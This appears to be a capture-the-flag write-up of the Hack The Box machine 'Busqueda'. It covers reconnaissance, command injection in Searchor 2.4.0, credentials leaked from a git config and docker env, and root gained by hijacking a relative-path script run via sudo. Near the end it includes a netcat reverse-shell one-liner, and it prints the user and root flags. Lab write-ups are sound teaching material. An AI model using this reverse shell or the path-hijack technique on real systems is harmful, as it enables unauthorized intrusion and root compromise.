Reading Time: 7 min read
Start 11:20 21-08-2024
10.10.11.208┌──(kali㉿kali)-[~]└─$ nmap 10.10.11.208Starting Nmap 7.94 ( https://nmap.org ) at 2024-08-21 05:22 EDTNmap scan report for 10.10.11.208Host is up (0.043s latency).Not shown: 998 closed tcp ports (conn-refused)PORT STATE SERVICE22/tcp open ssh80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds┌──(kali㉿kali)-[~]└─$ nmap -sC -sT -sV 10.10.11.208Starting Nmap 7.94 ( https://nmap.org ) at 2024-08-21 05:23 EDTNmap scan report for 10.10.11.208Host is up (0.052s latency).Not shown: 998 closed tcp ports (conn-refused)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)80/tcp open http Apache httpd 2.4.52|_http-server-header: Apache/2.4.52 (Ubuntu)|_http-title: Did not follow redirect to http://searcher.htb/Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 9.15 secondsLooks like we got a host called searcher.htb, let’s add it to our /etc/hosts file.
10.10.11.208 searcher.htbI then went on to the website to check what I could find.
80/TCP - HTTP
Section titled “80/TCP - HTTP”After heading to the website I was greeted with this page:

Down at the bottom we find some other details, such as the site being powered by Flask, a python web app framework and Searchor 2.4.0 which we will check for exploits:

==Exploit==
After looking up vulnerabilities for Searchor 2.4.0 I found a couple of which I tried this one first. This is a Command Injection vulnerability:
The Proof of Concept is pretty straightforward:

I proceeded to try it out myself

And we’re in, easy as that. Here I was able to get the user.txt fairly easily by heading into /home/svc.
user.txt
Section titled “user.txt”svc@busqueda:~$ cat user.txtcat user.txtde28a8710e0c34667ec742dd7704587fPrivilege Escalation
Section titled “Privilege Escalation”Now onto some privilege escalation. I was not allowed to run sudo -l as seen below so I had to resort to other ways.
svc@busqueda:~$ sudo -lsudo -lsudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helpersudo: a password is requiredAfter checking the OS info I found nothing worth exploiting, so instead I went to take a look at the /var/www/app/.git folder which has an interesting config file which I took a look at.
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true[remote "origin"] url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git fetch = +refs/heads/*:refs/remotes/origin/*[branch "main"] remote = origin merge = refs/heads/mainWe find some new info, we found a user called cody together with a password jh1usoih2bkjaspwe92, and a subdomain called gitea.searcher.htb which I added to my /etc/hosts file.
After adding the subdomain I headed to the site and proceeded to login with the previously found creds.

I did not find anything which we could use right now so I instead went to login to SSH as the svc user with the previously found password. Here I could run sudo -l since I now had the password.

We see that we are allowed to run a python script in the /opt/scripts folder as root.
Unfortunately enough we can not view the contents as the file is still owned by root, so I decided to run the file instead to see what params it takes:
sudo python3 /opt/scripts/system-checkup.py *
It appears to be script checking various containers and/or the whole system. I ran the docker-ps option and it gave me this output:
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 19 months ago Up 50 minutes 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp giteaf84a6b33fb5a mysql:8 "docker-entrypoint.s…" 19 months ago Up 50 minutes 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_dbWe see that there is a docker container running MySQL on port 33060 as well as the gitea container. Other than that we should try the other commands now.
I tried the full-checkup command but that just did not work for some reason:
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkupSomething went wrongThen last but not least I tried the docker-inspect command.
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspectUsage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>We know the container_name param, but we do not know what they mean by format. I decided to look it up and found relevant info [here](docker inspect | Docker Docs).

It seems we can just specify the json format with the -f flag and be on our way, let’s see:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jqAbove we specify the jq after the pipe in order to output it as a parsed json file. By default jq should already be installed on the target machine, so no further action is necessary.
This gives us a massive output. Most of this stuff does not mean anything to us except for the ENV tab which shows the following:
"Env": [ "USER_UID=115", "USER_GID=121", "GITEA__database__DB_TYPE=mysql", "GITEA__database__HOST=db:3306", "GITEA__database__NAME=gitea", "GITEA__database__USER=gitea", "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "USER=git", "GITEA_CUSTOM=/data/gitea" ],Here we have actually found some hardcoded credentials for the MySQL database. We can now log into the website as the administrator with the given creds.

Now that we are in as administrator we can check out the /scripts folder and check the system-checkup.py script what it exactly does.
#!/bin/bashimport subprocessimport sys
actions = ['full-checkup', 'docker-ps','docker-inspect']
def run_command(arg_list): r = subprocess.run(arg_list, capture_output=True) if r.stderr: output = r.stderr.decode() else: output = r.stdout.decode()
return output
def process_action(action): if action == 'docker-inspect': try: _format = sys.argv[2] if len(_format) == 0: print(f"Format can't be empty") exit(1) container = sys.argv[3] arg_list = ['docker', 'inspect', '--format', _format, container] print(run_command(arg_list))
except IndexError: print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>") exit(1)
except Exception as e: print('Something went wrong') exit(1)
elif action == 'docker-ps': try: arg_list = ['docker', 'ps'] print(run_command(arg_list))
except: print('Something went wrong') exit(1)
elif action == 'full-checkup': try: arg_list = ['./full-checkup.sh'] print(run_command(arg_list)) print('[+] Done!') except: print('Something went wrong') exit(1)
if __name__ == '__main__':
try: action = sys.argv[1] if action in actions: process_action(action) else: raise IndexError
except IndexError: print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)') print('') print(' docker-ps : List running docker containers') print(' docker-inspect : Inpect a certain docker container') print(' full-checkup : Run a full system checkup') print('') exit(1)Here I found why the full-checkup command was failing, it appears that the script previously failed simply because we were not in the same directory as the ./full-checkup.sh script.
I moved on over to the correct folder and then proceeded to run the command again.
svc@busqueda:~$ find / -type f -name "full-checkup.sh" 2>/dev/null/opt/scripts/full-checkup.shsvc@busqueda:~$ cd /opt/scripts/svc@busqueda:/opt/scripts$ sudo python3 /opt/scripts/system-checkup.py full-checkup[=] Docker conteainers{ "/gitea": "running"}{ "/mysql_db": "running"}
[=] Docker port mappings{ "22/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "222" } ], "3000/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "3000" } ]}
[=] Apache webhosts[+] searcher.htb is up[+] gitea.searcher.htb is up
[=] PM2 processes┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤│ 0 │ app │ default │ N/A │ fork │ 1637 │ 82m │ 0 │ online │ 0% │ 30.1mb │ svc │ disabled │└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
[+] Done!The output itself is actually not that important, but rather the function call is interesting. We now understand that in order to run full-checkup it is leveraging another script called full-checkup.sh. Using this logic we can create our own malicious script with the same name, but in another directory such as the /tmp folder where we have write access.
So we cd to /tmp and start writing our reverse-shell script. The script will be a one-liner in order to make execution smoother:
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 9001 >/tmp/f" > /tmp/full-checkup.shMake the script executable.
chmod +x full-checkup.shWe turn on our listener.
nc -lvnp 9001And then we simply run the script again:

root.txt
Section titled “root.txt”We can now get the root flag:
cd /root && cat root.txt4826eddc6ecf6f8ba69c83efe2b8c330
Finished 12:54 21-08-2024